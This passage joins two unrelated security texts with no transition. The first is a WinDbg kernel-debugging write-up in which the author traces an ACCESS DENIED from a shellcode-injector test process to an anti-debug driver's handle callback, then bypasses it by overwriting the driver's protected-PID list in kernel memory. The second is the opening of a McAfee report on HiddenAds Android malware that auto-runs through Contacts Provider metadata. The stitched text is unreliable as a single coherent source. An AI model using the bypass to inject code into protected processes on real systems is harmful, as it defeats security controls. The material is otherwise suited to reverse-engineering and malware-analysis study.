   +0x001 ReadImageFileExecOptions : 0 ''
   +0x002 BeingDebugged    : 0 ''
   +0x003 BitField         : 0 ''
    ...
   +0x0b8 NumberOfProcessors : 1
   +0x0bc NtGlobalFlag     : 0
   +0x0c0 CriticalSectionTimeout : _LARGE_INTEGER 0xffffe86d`079b8000
   +0x0c8 HeapSegmentReserve : 0x100000
   +0x0d0 HeapSegmentCommit : 0x2000
   +0x0d8 HeapDeCommitTotalFreeThreshold : 0x10000
   +0x0e0 HeapDeCommitFreeBlockThreshold : 0x1000
   +0x0e8 NumberOfHeaps    : 2
   +0x0ec MaximumNumberOfHeaps : 0x10
   +0x0f0 ProcessHeaps     : 0x00007fff`9f8b8d40  -> 0x00000000`00560000 Void
    ...
   +0x7c4 NtGlobalFlag2    : 0


At this point, I checked the eprocess structure.

kd> dt ffffc20239807080  _eprocess
nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x438 ProcessLock      : _EX_PUSH_LOCK
   +0x440 UniqueProcessId  : 0x00000000`00000fd8 Void
   +0x448 ActiveProcessLinks : _LIST_ENTRY [ 0xffffc202`39bc84c8 - 0xffffc202`370b54c8 ]
   +0x458 RundownProtect   : _EX_RUNDOWN_REF
   +0x460 Flags2           : 0xd000
   +0x464 Flags            : 0x144d0c01
   +0x464 CreateReported   : 0y1
   +0x464 NoDebugInherit   : 0y0
   +0x464 ProcessExiting   : 0y0
   +0x464 ProcessDelete    : 0y0
   +0x464 ManageExecutableMemoryWrites : 0y0
   +0x464 VmDeleted        : 0y0
   +0x464 OutswapEnabled   : 0y0
   +0x464 Outswapped       : 0y0
   +0x464 FailFastOnCommitFail : 0y0
   +0x464 Wow64VaSpace4Gb  : 0y0
   +0x464 AddressSpaceInitialized : 0y11
   +0x464 SetTimerResolution : 0y0
   +0x464 BreakOnTermination : 0y0
   +0x464 DeprioritizeViews : 0y0
   +0x464 WriteWatch       : 0y0
   +0x464 ProcessInSession : 0y1
   +0x464 OverrideAddressSpace : 0y0
   +0x464 HasAddressSpace  : 0y1
   +0x464 LaunchPrefetched : 0y1
   +0x464 Background       : 0y0
   +0x464 VmTopDown        : 0y0
   +0x464 ImageNotifyDone  : 0y1
   +0x464 PdeUpdateNeeded  : 0y0
   +0x464 VdmAllowed       : 0y0
   +0x464 ProcessRundown   : 0y0
   +0x464 ProcessInserted  : 0y1
   +0x464 DefaultIoPriority : 0y010
   +0x464 ProcessSelfDelete : 0y0
   +0x464 SetTimerResolutionLink : 0y0
   +0x468 CreateTime       : _LARGE_INTEGER 0x01d879aa`94a2629d
    ...
   +0x550 Peb              : 0x00000000`00256000 _PEB
   +0x558 Session          : 0xffffd280`69c5b000 _MM_SESSION_SPACE
   +0x560 Spare1           : (null) 
   +0x568 QuotaBlock       : 0xfffff806`12053800 _EPROCESS_QUOTA_BLOCK
   +0x570 ObjectTable      : 0xffff8902`0ea49180 _HANDLE_TABLE
   +0x578 DebugPort        : (null) 
   +0x580 WoW64Process     : 0xffffc202`350fed50 _EWOW64PROCESS


The DebugPort is null so seems there is no debug object linked to the target process.

At this point, I set a breakpoint on virtual alloc system call handler in kernel space when the handle is equal to the handle number used by the test case, i.e. 0xc4. In this way, I could stop the OS when the VirtualAllocEx() called by the test case enter in kernel space.

` bp /w “@ecx == 0xc4” nt!NtAllocateVirtualMemory `


So, I traced every instruction until return of the nt!NtAllocateVirtualMemory() using the command: ta fffff806`11ab6940.


RAX at the end contain the value of the ACCESS DENIED error, i.e. 0x00000000c0000022.

Looking the trace from the end, has been identified where the return value is set.

nt!ObpReferenceObjectByHandleWithTag+0x4e8:
fffff806`119f61b8 8bc7            mov     eax,edi
nt!ObpReferenceObjectByHandleWithTag+0x4ea:
fffff806`119f61ba e944fdffff      jmp     nt!ObpReferenceObjectByHandleWithTag+0x233 (fffff806`119f5f03)
nt!ObpReferenceObjectByHandleWithTag+0x233:
fffff806`119f5f03 4c8b742448      mov     r14,qword ptr [rsp+48h]
nt!ObpReferenceObjectByHandleWithTag+0x238:
fffff806`119f5f08 488b6c2450      mov     rbp,qword ptr [rsp+50h]
nt!ObpReferenceObjectByHandleWithTag+0x23d:
fffff806`119f5f0d 4883c458        add     rsp,58h
nt!ObpReferenceObjectByHandleWithTag+0x241:
fffff806`119f5f11 415f            pop     r15
nt!ObpReferenceObjectByHandleWithTag+0x243:
fffff806`119f5f13 415d            pop     r13
nt!ObpReferenceObjectByHandleWithTag+0x245:
fffff806`119f5f15 415c            pop     r12
nt!ObpReferenceObjectByHandleWithTag+0x247:
fffff806`119f5f17 5f              pop     rdi
nt!ObpReferenceObjectByHandleWithTag+0x248:
fffff806`119f5f18 5e              pop     rsi
nt!ObpReferenceObjectByHandleWithTag+0x249:
fffff806`119f5f19 5b              pop     rbx
nt!ObpReferenceObjectByHandleWithTag+0x24a:
fffff806`119f5f1a c3              ret
nt!MiAllocateVirtualMemoryPrepare+0x4e3:
fffff806`11ab73d3 448bf0          mov     r14d,eax
nt!MiAllocateVirtualMemoryPrepare+0x4e6:
fffff806`11ab73d6 85c0            test    eax,eax
nt!MiAllocateVirtualMemoryPrepare+0x4e8:
fffff806`11ab73d8 0f880e841500    js      nt!MiAllocateVirtualMemoryPrepare+0x1588fc (fffff806`11c0f7ec)
nt!MiAllocateVirtualMemoryPrepare+0x1588fc:
fffff806`11c0f7ec 488b442448      mov     rax,qword ptr [rsp+48h]
nt!MiAllocateVirtualMemoryPrepare+0x158901:
fffff806`11c0f7f1 4885c0          test    rax,rax
nt!MiAllocateVirtualMemoryPrepare+0x158904:
fffff806`11c0f7f4 740d            je      nt!MiAllocateVirtualMemoryPrepare+0x158913 (fffff806`11c0f803)
nt!MiAllocateVirtualMemoryPrepare+0x158913:
fffff806`11c0f803 418bc6          mov     eax,r14d
nt!MiAllocateVirtualMemoryPrepare+0x158916:
fffff806`11c0f806 e9327aeaff      jmp     nt!MiAllocateVirtualMemoryPrepare+0x34d (fffff806`11ab723d)
nt!MiAllocateVirtualMemoryPrepare+0x34d:
fffff806`11ab723d 488b9c24b8000000 mov     rbx,qword ptr [rsp+0B8h]
nt!MiAllocateVirtualMemoryPrepare+0x355:
fffff806`11ab7245 4883c460        add     rsp,60h
nt!MiAllocateVirtualMemoryPrepare+0x359:
fffff806`11ab7249 415f            pop     r15
nt!MiAllocateVirtualMemoryPrepare+0x35b:
fffff806`11ab724b 415e            pop     r14
nt!MiAllocateVirtualMemoryPrepare+0x35d:
fffff806`11ab724d 415d            pop     r13
nt!MiAllocateVirtualMemoryPrepare+0x35f:
fffff806`11ab724f 415c            pop     r12
nt!MiAllocateVirtualMemoryPrepare+0x361:
fffff806`11ab7251 5f              pop     rdi
nt!MiAllocateVirtualMemoryPrepare+0x362:
fffff806`11ab7252 5e              pop     rsi
nt!MiAllocateVirtualMemoryPrepare+0x363:
fffff806`11ab7253 5d              pop     rbp
nt!MiAllocateVirtualMemoryPrepare+0x364:
fffff806`11ab7254 c3              ret
nt!NtAllocateVirtualMemory+0x16a:
fffff806`11ab688a 8bd8            mov     ebx,eax
nt!NtAllocateVirtualMemory+0x16c:
fffff806`11ab688c 89442474        mov     dword ptr [rsp+74h],eax
nt!NtAllocateVirtualMemory+0x170:
fffff806`11ab6890 85c0            test    eax,eax
nt!NtAllocateVirtualMemory+0x172:
fffff806`11ab6892 7861            js      nt!NtAllocateVirtualMemory+0x1d5 (fffff806`11ab68f5)
nt!NtAllocateVirtualMemory+0x1d5:
fffff806`11ab68f5 85db            test    ebx,ebx
nt!NtAllocateVirtualMemory+0x1d7:
fffff806`11ab68f7 7855            js      nt!NtAllocateVirtualMemory+0x22e (fffff806`11ab694e)
nt!NtAllocateVirtualMemory+0x22e:
fffff806`11ab694e 4883bc240001000000 cmp   qword ptr [rsp+100h],0
nt!NtAllocateVirtualMemory+0x237:
fffff806`11ab6957 0f84578d1500    je      nt!NtAllocateVirtualMemory+0x158f94 (fffff806`11c0f6b4)
nt!NtAllocateVirtualMemory+0x158f94:
fffff806`11c0f6b4 ff05eeee4300    inc     dword ptr [nt!MiState+0x1f28 (fffff806`1204e5a8)]
nt!NtAllocateVirtualMemory+0x158f9a:
fffff806`11c0f6ba e93a72eaff      jmp     nt!NtAllocateVirtualMemory+0x1d9 (fffff806`11ab68f9)
nt!NtAllocateVirtualMemory+0x1d9:
fffff806`11ab68f9 4983fe02        cmp     r14,2
nt!NtAllocateVirtualMemory+0x1dd:
fffff806`11ab68fd 0f83bc8d1500    jae     nt!NtAllocateVirtualMemory+0x158f9f (fffff806`11c0f6bf)
nt!NtAllocateVirtualMemory+0x1e3:
fffff806`11ab6903 488b8c2498000000 mov     rcx,qword ptr [rsp+98h]
nt!NtAllocateVirtualMemory+0x1eb:
fffff806`11ab690b 4885c9          test    rcx,rcx
nt!NtAllocateVirtualMemory+0x1ee:
fffff806`11ab690e 7532            jne     nt!NtAllocateVirtualMemory+0x222 (fffff806`11ab6942)
nt!NtAllocateVirtualMemory+0x1f0:
fffff806`11ab6910 85db            test    ebx,ebx
nt!NtAllocateVirtualMemory+0x1f2:
fffff806`11ab6912 780e            js      nt!NtAllocateVirtualMemory+0x202 (fffff806`11ab6922)
nt!NtAllocateVirtualMemory+0x202:
fffff806`11ab6922 8bc3            mov     eax,ebx
nt!NtAllocateVirtualMemory+0x204:
fffff806`11ab6924 4c8d9c2480010000 lea     r11,[rsp+180h]
nt!NtAllocateVirtualMemory+0x20c:
fffff806`11ab692c 498b5b38        mov     rbx,qword ptr [r11+38h]
nt!NtAllocateVirtualMemory+0x210:
fffff806`11ab6930 498b7348        mov     rsi,qword ptr [r11+48h]
nt!NtAllocateVirtualMemory+0x214:
fffff806`11ab6934 498be3          mov     rsp,r11
nt!NtAllocateVirtualMemory+0x217:
fffff806`11ab6937 415f            pop     r15
nt!NtAllocateVirtualMemory+0x219:
fffff806`11ab6939 415e            pop     r14
nt!NtAllocateVirtualMemory+0x21b:
fffff806`11ab693b 415d            pop     r13
nt!NtAllocateVirtualMemory+0x21d:
fffff806`11ab693d 415c            pop     r12
nt!NtAllocateVirtualMemory+0x21f:
fffff806`11ab693f 5f              pop     rdi
nt!NtAllocateVirtualMemory+0x220:
fffff806`11ab6940 c3              ret


Basically, edi is set into eax at nt!ObpReferenceObjectByHandleWithTag+0x4e8 and even though there are many register movements at the end nt!NtAllocateVirtualMemory+0x220 has in RAX the value contained by edi at nt!ObpReferenceObjectByHandleWithTag+0x4e8.

Looking further back, it’s clear that edi is set to the ACCESS DENIED value.

fffff806`119f5e99 0f85ee020000    jne     nt!ObpReferenceObjectByHandleWithTag+0x4bd (fffff806`119f618d)
nt!ObpReferenceObjectByHandleWithTag+0x4bd:
fffff806`119f618d bf220000c0      mov     edi,0C0000022h
nt!ObpReferenceObjectByHandleWithTag+0x4c2:
fffff806`119f6192 8b9424b0000000  mov     edx,dword ptr [rsp+0B0h]
nt!ObpReferenceObjectByHandleWithTag+0x4c9:
fffff806`119f6199 488d4b30        lea     rcx,[rbx+30h]
nt!ObpReferenceObjectByHandleWithTag+0x4cd:
fffff806`119f619d e8ee20c1ff      call    nt!ObfDereferenceObjectWithTag (fffff806`11608290)
nt!ObpReferenceObjectByHandleWithTag+0x4d2:
fffff806`119f61a2 80bc24b800000000 cmp     byte ptr [rsp+0B8h],0
nt!ObpReferenceObjectByHandleWithTag+0x4da:
fffff806`119f61aa 0f858bb61e00    jne     nt!ObpReferenceObjectByHandleWithTag+0x1ebb6b (fffff806`11be183b)
nt!ObpReferenceObjectByHandleWithTag+0x4e0:
fffff806`119f61b0 498bcf          mov     rcx,r15
nt!ObpReferenceObjectByHandleWithTag+0x4e3:
fffff806`119f61b3 e8584ec1ff      call    nt!KeLeaveCriticalRegionThread (fffff806`1160b010)
nt!ObpReferenceObjectByHandleWithTag+0x4e8:
fffff806`119f61b8 8bc7            mov     eax,edi


Microsoft says that RDI register should be preserved by the callee and indeed it is through the calls to call nt!ObfDereferenceObjectWithTag and call nt!KeLeaveCriticalRegionThread.

RDI, is preserved in nt!ObfDereferenceObjectWithTag, even if it is never touched, pushing it on the stack and popping it at the end.

nt!ObfDereferenceObjectWithTag:
fffff806`11608290 48895c2408      mov     qword ptr [rsp+8],rbx
nt!ObfDereferenceObjectWithTag+0x5:
fffff806`11608295 4889742410      mov     qword ptr [rsp+10h],rsi
nt!ObfDereferenceObjectWithTag+0xa:
fffff806`1160829a 57              push    rdi
nt!ObfDereferenceObjectWithTag+0xb:
fffff806`1160829b 4883ec30        sub     rsp,30h
nt!ObfDereferenceObjectWithTag+0xf:
fffff806`1160829f 833d6a2daf0000  cmp     dword ptr [nt!ObpTraceFlags (fffff806`120fb010)],0
nt!ObfDereferenceObjectWithTag+0x16:
fffff806`116082a6 488bf1          mov     rsi,rcx
nt!ObfDereferenceObjectWithTag+0x19:
fffff806`116082a9 0f8525f22000    jne     nt!ObfDereferenceObjectWithTag+0x20f244 (fffff806`118174d4)
nt!ObfDereferenceObjectWithTag+0x1f:
fffff806`116082af 48c7c3ffffffff  mov     rbx,0FFFFFFFFFFFFFFFFh
nt!ObfDereferenceObjectWithTag+0x26:
fffff806`116082b6 f0480fc15ed0    lock xadd qword ptr [rsi-30h],rbx
nt!ObfDereferenceObjectWithTag+0x2c:
fffff806`116082bc 4883eb01        sub     rbx,1
nt!ObfDereferenceObjectWithTag+0x30:
fffff806`116082c0 7e14            jle     nt!ObfDereferenceObjectWithTag+0x46 (fffff806`116082d6)
nt!ObfDereferenceObjectWithTag+0x32:
fffff806`116082c2 488bc3          mov     rax,rbx
nt!ObfDereferenceObjectWithTag+0x35:
fffff806`116082c5 488b5c2440      mov     rbx,qword ptr [rsp+40h]
nt!ObfDereferenceObjectWithTag+0x3a:
fffff806`116082ca 488b742448      mov     rsi,qword ptr [rsp+48h]
nt!ObfDereferenceObjectWithTag+0x3f:
fffff806`116082cf 4883c430        add     rsp,30h
nt!ObfDereferenceObjectWithTag+0x43:
fffff806`116082d3 5f              pop     rdi
nt!ObfDereferenceObjectWithTag+0x44:
fffff806`116082d4 c3              ret


In the nt!KeLeaveCriticalRegionThread(), RDI is preserved since it is never touched.

nt!KeLeaveCriticalRegionThread:
fffff806`1160b010 4883ec28        sub     rsp,28h
nt!KeLeaveCriticalRegionThread+0x4:
fffff806`1160b014 668381e401000001 add     word ptr [rcx+1E4h],1
nt!KeLeaveCriticalRegionThread+0xc:
fffff806`1160b01c 750c            jne     nt!KeLeaveCriticalRegionThread+0x1a (fffff806`1160b02a)
nt!KeLeaveCriticalRegionThread+0xe:
fffff806`1160b01e 488d8198000000  lea     rax,[rcx+98h]
nt!KeLeaveCriticalRegionThread+0x15:
fffff806`1160b025 483900          cmp     qword ptr [rax],rax
nt!KeLeaveCriticalRegionThread+0x18:
fffff806`1160b028 7506            jne     nt!KeLeaveCriticalRegionThread+0x20 (fffff806`1160b030)
nt!KeLeaveCriticalRegionThread+0x1a:
fffff806`1160b02a 4883c428        add     rsp,28h
nt!KeLeaveCriticalRegionThread+0x1e:
fffff806`1160b02e c3              ret


At this point, it’s required to understand why nt!ObpReferenceObjectByHandleWithTag+0x4bd is executed!

nt!ExpLookupHandleTableEntry+0x30:
fffff806`119f62f0 c3              ret
nt!ObpReferenceObjectByHandleWithTag+0xef:
fffff806`119f5dbf 488bf8          mov     rdi,rax
nt!ObpReferenceObjectByHandleWithTag+0xf2:
fffff806`119f5dc2 4885c0          test    rax,rax
nt!ObpReferenceObjectByHandleWithTag+0xf5:
fffff806`119f5dc5 0f840b040000    je      nt!ObpReferenceObjectByHandleWithTag+0x506 (fffff806`119f61d6)
nt!ObpReferenceObjectByHandleWithTag+0xfb:
fffff806`119f5dcb 0f0d08          prefetchw [rax]
nt!ObpReferenceObjectByHandleWithTag+0xfe:
fffff806`119f5dce 488b08          mov     rcx,qword ptr [rax]
nt!ObpReferenceObjectByHandleWithTag+0x101:
fffff806`119f5dd1 488b6808        mov     rbp,qword ptr [rax+8]
nt!ObpReferenceObjectByHandleWithTag+0x105:
fffff806`119f5dd5 48896c2438      mov     qword ptr [rsp+38h],rbp
nt!ObpReferenceObjectByHandleWithTag+0x10a:
fffff806`119f5dda 48894c2430      mov     qword ptr [rsp+30h],rcx
nt!ObpReferenceObjectByHandleWithTag+0x10f:
fffff806`119f5ddf 4c8b742430      mov     r14,qword ptr [rsp+30h]
nt!ObpReferenceObjectByHandleWithTag+0x114:
fffff806`119f5de4 49f7c6feff0100  test    r14,1FFFEh
nt!ObpReferenceObjectByHandleWithTag+0x11b:
fffff806`119f5deb 0f84ff010000    je      nt!ObpReferenceObjectByHandleWithTag+0x320 (fffff806`119f5ff0)
nt!ObpReferenceObjectByHandleWithTag+0x121:
fffff806`119f5df1 41f6c601        test    r14b,1
nt!ObpReferenceObjectByHandleWithTag+0x125:
fffff806`119f5df5 0f8451030000    je      nt!ObpReferenceObjectByHandleWithTag+0x47c (fffff806`119f614c)
nt!ObpReferenceObjectByHandleWithTag+0x12b:
fffff806`119f5dfb 498d5efe        lea     rbx,[r14-2]
nt!ObpReferenceObjectByHandleWithTag+0x12f:
fffff806`119f5dff 488bcd          mov     rcx,rbp
nt!ObpReferenceObjectByHandleWithTag+0x132:
fffff806`119f5e02 498bc6          mov     rax,r14
nt!ObpReferenceObjectByHandleWithTag+0x135:
fffff806`119f5e05 488bd5          mov     rdx,rbp
nt!ObpReferenceObjectByHandleWithTag+0x138:
fffff806`119f5e08 f0480fc70f      lock cmpxchg16b oword ptr [rdi]
nt!ObpReferenceObjectByHandleWithTag+0x13d:
fffff806`119f5e0d 4c8bf0          mov     r14,rax
nt!ObpReferenceObjectByHandleWithTag+0x140:
fffff806`119f5e10 4889442430      mov     qword ptr [rsp+30h],rax
nt!ObpReferenceObjectByHandleWithTag+0x145:
fffff806`119f5e15 488bea          mov     rbp,rdx
nt!ObpReferenceObjectByHandleWithTag+0x148:
fffff806`119f5e18 4889542438      mov     qword ptr [rsp+38h],rdx
nt!ObpReferenceObjectByHandleWithTag+0x14d:
fffff806`119f5e1d 0f8558030000    jne     nt!ObpReferenceObjectByHandleWithTag+0x4ab (fffff806`119f617b)
nt!ObpReferenceObjectByHandleWithTag+0x153:
fffff806`119f5e23 488bd8          mov     rbx,rax
nt!ObpReferenceObjectByHandleWithTag+0x156:
fffff806`119f5e26 48d1eb          shr     rbx,1
nt!ObpReferenceObjectByHandleWithTag+0x159:
fffff806`119f5e29 6683fb10        cmp     bx,10h
nt!ObpReferenceObjectByHandleWithTag+0x15d:
fffff806`119f5e2d 0f84e4030000    je      nt!ObpReferenceObjectByHandleWithTag+0x547 (fffff806`119f6217)
nt!ObpReferenceObjectByHandleWithTag+0x163:
fffff806`119f5e33 488bd8          mov     rbx,rax
nt!ObpReferenceObjectByHandleWithTag+0x166:
fffff806`119f5e36 48c1fb10        sar     rbx,10h
nt!ObpReferenceObjectByHandleWithTag+0x16a:
fffff806`119f5e3a 4883e3f0        and     rbx,0FFFFFFFFFFFFFFF0h
nt!ObpReferenceObjectByHandleWithTag+0x16e:
fffff806`119f5e3e 833dcb51700000  cmp     dword ptr [nt!ObpTraceFlags (fffff806`120fb010)],0
nt!ObpReferenceObjectByHandleWithTag+0x175:
fffff806`119f5e45 0f852eb91e00    jne     nt!ObpReferenceObjectByHandleWithTag+0x1ebaa9 (fffff806`11be1779)
nt!ObpReferenceObjectByHandleWithTag+0x17b:
fffff806`119f5e4b 488b9424a0000000 mov     rdx,qword ptr [rsp+0A0h]
nt!ObpReferenceObjectByHandleWithTag+0x183:
fffff806`119f5e53 4c8d0da6a1a0ff  lea     r9,[nt!VrpRegistryString <PERF> (nt+0x0) (fffff806`11400000)]
nt!ObpReferenceObjectByHandleWithTag+0x18a:
fffff806`119f5e5a 488bc3          mov     rax,rbx
nt!ObpReferenceObjectByHandleWithTag+0x18d:
fffff806`119f5e5d 48c1e808        shr     rax,8
nt!ObpReferenceObjectByHandleWithTag+0x191:
fffff806`119f5e61 324318          xor     al,byte ptr [rbx+18h]
nt!ObpReferenceObjectByHandleWithTag+0x194:
fffff806`119f5e64 3205c2687000    xor     al,byte ptr [nt!ObHeaderCookie (fffff806`120fc72c)]
nt!ObpReferenceObjectByHandleWithTag+0x19a:
fffff806`119f5e6a 4885d2          test    rdx,rdx
nt!ObpReferenceObjectByHandleWithTag+0x19d:
fffff806`119f5e6d 0f8423010000    je      nt!ObpReferenceObjectByHandleWithTag+0x2c6 (fffff806`119f5f96)
nt!ObpReferenceObjectByHandleWithTag+0x1a3:
fffff806`119f5e73 384228          cmp     byte ptr [rdx+28h],al
nt!ObpReferenceObjectByHandleWithTag+0x1a6:
fffff806`119f5e76 0f851a010000    jne     nt!ObpReferenceObjectByHandleWithTag+0x2c6 (fffff806`119f5f96)
nt!ObpReferenceObjectByHandleWithTag+0x1ac:
fffff806`119f5e7c 8b8c2498000000  mov     ecx,dword ptr [rsp+98h]
nt!ObpReferenceObjectByHandleWithTag+0x1b3:
fffff806`119f5e83 81e5ffffff01    and     ebp,1FFFFFFh
nt!ObpReferenceObjectByHandleWithTag+0x1b9:
fffff806`119f5e89 80bc24a800000000 cmp     byte ptr [rsp+0A8h],0
nt!ObpReferenceObjectByHandleWithTag+0x1c1:
fffff806`119f5e91 7414            je      nt!ObpReferenceObjectByHandleWithTag+0x1d7 (fffff806`119f5ea7)
nt!ObpReferenceObjectByHandleWithTag+0x1c3:
fffff806`119f5e93 8bc5            mov     eax,ebp
nt!ObpReferenceObjectByHandleWithTag+0x1c5:
fffff806`119f5e95 f7d0            not     eax
nt!ObpReferenceObjectByHandleWithTag+0x1c7:
fffff806`119f5e97 85c1            test    ecx,eax
nt!ObpReferenceObjectByHandleWithTag+0x1c9:
fffff806`119f5e99 0f85ee020000    jne     nt!ObpReferenceObjectByHandleWithTag+0x4bd (fffff806`119f618d)
nt!ObpReferenceObjectByHandleWithTag+0x4bd:
fffff806`119f618d bf220000c0      mov     edi,0C0000022h


So the code arrive to nt!ObpReferenceObjectByHandleWithTag+0x4bd because ` ecx != eax , eax = not(ebp & 0x1FFFFFF) ` and ` rbp = [rax+8] where rax = nt!ExpLookupHandleTableEntry() `. ecx is read from the stack at [rsp+98h].

ExpLookupHandleTableEntry() returns the table entry from the handle number, in our case it would be 0xc4, and the handle table of the process that is calling VirtualAlloc().

At this, point let’s put a breakpoint on ExpLookupHandleTableEntry() return.


RAX = 0xffff89020dd77310 and *RAX+8 = 0x1ff7d6. Analyzing the handle entry table and the handle, i.e. index 0xc4, something strange appear.

kd> dt nt!_HANDLE_TABLE_ENTRY 0xffff89020dd77310
   +0x000 VolatileLowValue : 0n-4466944656595156999
   +0x000 LowValue         : 0n-4466944656595156999
   +0x000 InfoTable        : 0xc2023980`7050fff9 _HANDLE_TABLE_ENTRY_INFO
   +0x008 HighValue        : 0n2095062
   +0x008 NextFreeHandleEntry : 0x00000000`001ff7d6 _HANDLE_TABLE_ENTRY
   +0x008 LeafHandleValue  : _EXHANDLE
   +0x000 RefCountField    : 0n-4466944656595156999
   +0x000 Unlocked         : 0y1
   +0x000 RefCnt           : 0y0111111111111100 (0x7ffc)
   +0x000 Attributes       : 0y000
   +0x000 ObjectPointerBits : 0y11000010000000100011100110000000011100000101 (0xc2023980705)
   +0x008 GrantedAccessBits : 0y0000111111111011111010110 (0x1ff7d6)
   +0x008 NoRightsUpgrade  : 0y0
   +0x008 Spare1           : 0y000000 (0)
   +0x00c Spare2           : 0
kd> !handle 0xc4

PROCESS ffffc2023726c080
    SessionId: 1  Cid: 142c    Peb: 00839000  ParentCid: 113c
    DirBase: 1b1d57000  ObjectTable: ffff89020ea4cdc0  HandleCount:  55.
    Image: ShellCodeInjector.exe

Handle table at ffff89020ea4cdc0 with 55 entries in use

00c4: Object: ffffc20239807080  GrantedAccess: 001ff7d6 (Protected) (Audit) Entry: ffff89020dd77310
Object: ffffc20239807080  Type: (ffffc202314ac380) Process
    ObjectHeader: ffffc20239807050 (new version)
        HandleCount: 11  PointerCount: 354527


HighValue == 2095062 == 0x1ff7d6 at ffff89020dd77310+8 that is the granted access mask to the object, i.e. the target process. The access mask is incoherent with the one used in the test case, i.e. PROCESS_ALL_ACCESS == 0x01fffff. This could lead to access denied on virtual alloc call. The access mask means, that PROCESS_TERMINATE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_SUSPEND_RESUME are not granted so it’s impossible to allocate memory in the process!

We have at least two ways to bypass this:

  1. Trying to bypass this resetting granted access in the object handle.
  2. Understand where the access mask is modified and disable that feature.

The fastest way doing this is to intercept where the mask is changed in order to disable this once and not every time I have to attach to the process.

So, I put a breakpoint on the open process kernel implementation, i.e. nt!PsOpenProcess. bp nt!PsOpenProcess ".if ( poi(@r9) != 0xfd8) {gc}"


Let’s track the code flow until the end.

nt!ObpPreInterceptHandleCreate+0xa5:
fffff806`11a87ea5 e886fdffff      call    nt!ObpCallPreOperationCallbacks (fffff806`11a87c30)

So likely, a callback has been registered for process handle operations via ObRegisterCallbacks().

nt!ObpCallPreOperationCallbacks+0x103:
fffff806`11a87d33 488b4908        mov     rcx,qword ptr [rcx+8]
nt!ObpCallPreOperationCallbacks+0x107:
fffff806`11a87d37 e81480d7ff      call    nt!guard_dispatch_icall (fffff806`117ffd50)
nt!guard_dispatch_icall:
fffff806`117ffd50 4c8b1d111ba000  mov     r11,qword ptr [nt!guard_icall_bitmap (fffff806`12201868)]
nt!guard_dispatch_icall+0x7:
fffff806`117ffd57 4885c0          test    rax,rax
nt!guard_dispatch_icall+0xa:
fffff806`117ffd5a 0f8d7a000000    jge     nt!guard_dispatch_icall+0x8a (fffff806`117ffdda)
nt!guard_dispatch_icall+0x10:
fffff806`117ffd60 4d85db          test    r11,r11
nt!guard_dispatch_icall+0x13:
fffff806`117ffd63 741c            je      nt!guard_dispatch_icall+0x31 (fffff806`117ffd81)
nt!guard_dispatch_icall+0x31:
fffff806`117ffd81 4c8b1dc0ce8f00  mov     r11,qword ptr [nt!retpoline_image_bitmap (fffff806`120fcc48)]
nt!guard_dispatch_icall+0x38:
fffff806`117ffd88 4c8bd0          mov     r10,rax
nt!guard_dispatch_icall+0x3b:
fffff806`117ffd8b 4d85db          test    r11,r11
nt!guard_dispatch_icall+0x3e:
fffff806`117ffd8e 742e            je      nt!guard_dispatch_icall+0x6e (fffff806`117ffdbe)
nt!guard_dispatch_icall+0x6e:
fffff806`117ffdbe 0faee8          lfence
nt!guard_dispatch_icall+0x71:
fffff806`117ffdc1 ffe0            jmp     rax


The function called that implements the antidebug is quite simple and basically get the process opened pid against a list of pids to check. Indeed the anti debug module obtains the opened process pid via PsGetProcessID()

nt!PsGetProcessId:
fffff806`1166ab30                 mov     rax,qword ptr [rcx+440h]
nt!PsGetProcessId+0x7:
fffff806`1166ab37                 ret

Check it against a list of pids contained by the anti debug module self.

test    rax,rax
je      fffff806`17481093
cmp     rax,0FFFFFFFFFFFFFFFFh
je      fffff806`17481093
lea     rbx,[fffff806`174969da0]
cmp     rax,qword ptr [rbx]

If the process pid opened is in the list then the access mask is checked to have the PROCESS_SUSPEND_RESUME bit enabled if so it is zeroed.

Disable PROCESS_SUSPEND_RESUME permission 
bt      dword ptr [rdx+4], 0Bh
jae     FFFFF80617481081
btr     dword ptr [rdx], 0Bh

More over the access mask is computed doing multiple and operation that disable other things like:

Disable PROCESS_TERMINATE 
and     dword ptr [rdx], 0FFFFFFFEh
...
Disable PROCESS_VM_OPERATION 
dword ptr [rdx], 0FFFFFFF7h
...
Disable PROCESS_VM_WRITE 
dword ptr [rdx], 0FFFFFFDFh

At this point, I just changed the list of the pids in order to not enter in the code block that alters the access mask, ed fffff806`174969da0 0. Finally, I bypassed the anti debug trick.

Finally, a consideration is required: I did a mess just to found that the handle’s rights were different by the one I asked for.

New HiddenAds malware affects 1M+ users and hides on the Google Play Store

29 July 2022 at 03:32

Authored by Dexter Shin

McAfee’s Mobile Research Team has identified new malware on the Google Play Store. Most of them are disguising themselves as cleaner apps that delete junk files or help optimize their batteries for device management. However, this malware hides and continuously show advertisements to victims. In addition, they run malicious services automatically upon installation without executing the app.

HiddenAds functions and promotion

They exist on Google Play even though they have malicious activities, so the victim can search for the following apps to optimize their device.

Figure 1. Malware on Google Play
Figure 1. Malware on Google Play

Users may generally think installing the app without executing it is safe. But you may have to change your mind because of this malware. When you install this malware on your device, it is executed without interaction and executes a malicious service.

In addition, they try to hide themselves to prevent users from noticing and deleting apps. Change their icon to a Google Play icon that users are familiar with and change its name to ‘Google Play’ or ‘Setting.’

Figure 2. Hide itself by changing icons and names
Figure 2. The Malware hides itself by changing icons and names

Automatically executed services constantly display advertisements to victims in a variety of ways.

Figure 3. A sudden display of advertisements
Figure 3. A sudden display of advertisements

These services also induce users to run an app when they install, uninstall, or update apps on their devices.

Figure 4. A button to induce users to run app

Figure 4. A button to induce users to run app
Figure 4. A button to induce users to run app

To promote these apps to new users, the malware authors created advertising pages on Facebook. Because it is the link to Google Play distributed through legitimate social media, users will download it without a doubt.

Figure 5. Advertising pages on Facebook

Figure 5. Advertising pages on Facebook
Figure 5. Advertising pages on Facebook

How it works

This malware uses the Contact Provider. The Contact Provider is the source of data you see in the device’s contacts application, and you can also access its data in your own application and transfer data between the device and online services. For this, Google provides ContactsContract class. ContactsContract is the contract between the Contacts Provider and applications. In ContactsContract, there is a class called Directory. A Directory represents a contacts corpus and is implemented as a Content Provider with its unique authority. So, developers can use it if they want to implement a custom directory. The Contact Provider can recognize that the app is using a custom directory by checking special metadata in the manifest file.

Figure 6. Content providers declared with special metadata in manifest
Figure 6. Content providers declared with special metadata in manifest

The important thing is the Contact Provider automatically interrogates newly installed or replaced packages. Thus, installing a package containing special metadata will always call the Contact Provider automatically.

